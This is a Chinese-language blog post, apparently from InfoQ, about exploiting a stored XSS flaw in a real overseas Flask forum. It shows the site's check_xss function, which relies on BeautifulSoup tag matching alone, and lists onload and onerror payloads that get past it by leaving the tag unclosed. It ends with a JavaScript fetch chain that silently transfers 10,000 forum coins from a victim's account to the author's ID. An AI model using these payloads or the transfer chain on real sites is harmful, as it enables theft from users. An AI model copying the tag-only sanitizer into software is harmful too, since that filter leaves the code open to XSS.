写点什么

某个国外的真实 XSS 漏洞利用探寻

  • 2024-08-09
    湖南
  • 本文字数:2201 字

    阅读完需:约 7 分钟

Background

在一次测试中,在 git 中找到部分的源码,发现可能存在 xss 问题,但是经过了一点处理,于是经过探寻思考,找到了 bypass 的方法,写下本篇文章。

Part.1 从 git 到混淆

server 头看见这个配置 基本是 flask 了,而且也能确定是 python,把前端部分源码放在 github 搜一下找到了部分代码。


看到如下的混淆:

上网找了找相关混淆资料。


https://pyob.oxyry.com/


发现有在线解混淆的网站 最后我定位了一处核心代码在这里。

def check_xss(smeo_text):    soup = BeautifulSoup(smeo_text, "html.parser")    tags_found = soup.find_all()    return bool(tags_found)
复制代码

我注意到这里他的 xss 处理其实很草率,用 BeautifulSoup 来过一遍论坛的文本内容,只进行了 tag 的匹配,并没有做诸如实体化编码类型的过滤,所以我觉得是有问题的。

Part.2 探寻 BeautifulSoup 的 html.parser

首先我手搓了一个 demo:

from bs4 import BeautifulSoup
# 示例的 HTML 文档html_doc = """<html><head><title>Example</title></head><body><p class="title"><b>The Dormouse's story</b></p>
<p class="story">Once upon a time there were three little sisters; and their names were<a href="http://example.com/elsie" class="sister" id="link1">Elsie</a>,<a href="http://example.com/lacie" class="sister" id="link2">Lacie</a> and<a href="http://example.com/tillie" class="sister" id="link3">Tillie</a>;and they lived at the bottom of a well.</p>
<p class="story">...</p>"""
# 使用 BeautifulSoup 解析 HTMLsoup = BeautifulSoup(html_doc, 'html.parser')
# 找到所有的标签并打印它们的名称tags = soup.find_all()for tag in tags: print(tag.name)
复制代码


在这里我简单思考了下他的匹配标签的标准 一个是把关键字 常见的进行提取,第二种就是基于<>一个完整的标签为整体 提取里面的内容。


翻了下 beautifulsoup 的 html.parser 代码:

interesting_normal = re.compile('[&<]')incomplete = re.compile('&[a-zA-Z#]')
entityref = re.compile('&([a-zA-Z][-.a-zA-Z0-9]*)[^a-zA-Z0-9]')charref = re.compile('&#(?:[0-9]+|[xX][0-9a-fA-F]+)[^0-9a-fA-F]')
starttagopen = re.compile('<[a-zA-Z]')piclose = re.compile('>')commentclose = re.compile(r'--\s*>')tagfind_tolerant = re.compile(r'([a-zA-Z][^\t\n\r\f />\x00]*)(?:\s|/(?!>))*')attrfind_tolerant = re.compile( r'((?<=[\'"\s/])[^\s/>][^\s/=>]*)(\s*=+\s*' r'(\'[^\']*\'|"[^"]*"|(?![\'"])[^>\s]*))?(?:\s|/(?!>))*')locatestarttagend_tolerant = re.compile(r""" <[a-zA-Z][^\t\n\r\f />\x00]* # tag name (?:[\s/]* # optional whitespace before attribute name (?:(?<=['"\s/])[^\s/>][^\s/=>]* # attribute name (?:\s*=+\s* # value indicator (?:'[^']*' # LITA-enclosed value |"[^"]*" # LIT-enclosed value |(?!['"])[^>\s]* # bare value ) \s* # possibly followed by a space )?(?:\s|/(?!>))* )* )? \s* # trailing whitespace""", re.VERBOSE)endendtag = re.compile('>')# the HTML 5 spec, section 8.1.2.2, doesn't allow spaces between# </ and the tag name, so maybe this should be fixedendtagfind = re.compile(r'</\s*([a-zA-Z][-.a-zA-Z0-9:_]*)\s*>')
复制代码

可以看到他的匹配方式是我们想到的第二种 也就是我们不希望有>出现,而且一些常见的<script>这种需要成对出现的标签已经被否定了,我们需要探寻单标签。

Part.3 xss 利用

到这里其实能找到很多不需要成对的 poc。

<body/onload=alert(1)><svg/onload=alert(1)><iframe/onload=alert(1)><img src=1 onerror=alert(1)>
复制代码

而且因为 html 其实是比较松散的,如果不带> 其实也是可以的 比如我们创建如下的代码。

其实是会被弹窗的,在浏览器里你提取<img 标签的内容其实是

<img src="1" onerror="alert(1)" <="" body="">
复制代码

这个原因是因为 </body>的>关闭了标签 实际上也就不存在 </body> 标签 而是你在 svg 标签中有一个 </body 属性 而且浏览器机制也会帮你补一个新的</body>标签 所以如果你没有这些完整的 html 机构 单纯的<img src=1 onerror=alert(1)是不能用的

去真实环境尝试了下 发现果真如思考的一样 但是没弹窗 因为后面的</p 语法错误了 我们注释掉即可。

发现是可以直接弹窗的。

Part4. 扩大危害

前面埋了个伏笔 是一个 flask 程序,他配置的很好所以我们偷 cookies 可能作用不是特别大了,于是开始思考有没有什么其他的思路。


代码里面还暴露了一个路由转指定论坛的币 经过测试我发现他的转钱如果从自己的个人主页跳转到/transfer 路由就不要求验证。


那我就可以构造 js 使用 then 构造一个 chain 来转给我本身。

fetch('/page', { method: 'GET' })  .then(function() {    return fetch('/transfer', {      method: 'POST',      headers: { 'Content-Type': 'application/x-www-form-urlencoded' },      body: 'money=10000&transfer_id=21e3e7f6210'    });  })  .then(function() {    window.location.href = '/forum';  });
复制代码


用户头像

欢迎关注,一起学习,一起交流,一起进步 2020-06-14 加入

公众号:做梦都在改BUG

评论

发布
暂无评论
某个国外的真实XSS漏洞利用探寻_黑客_我再BUG界嘎嘎乱杀_InfoQ写作社区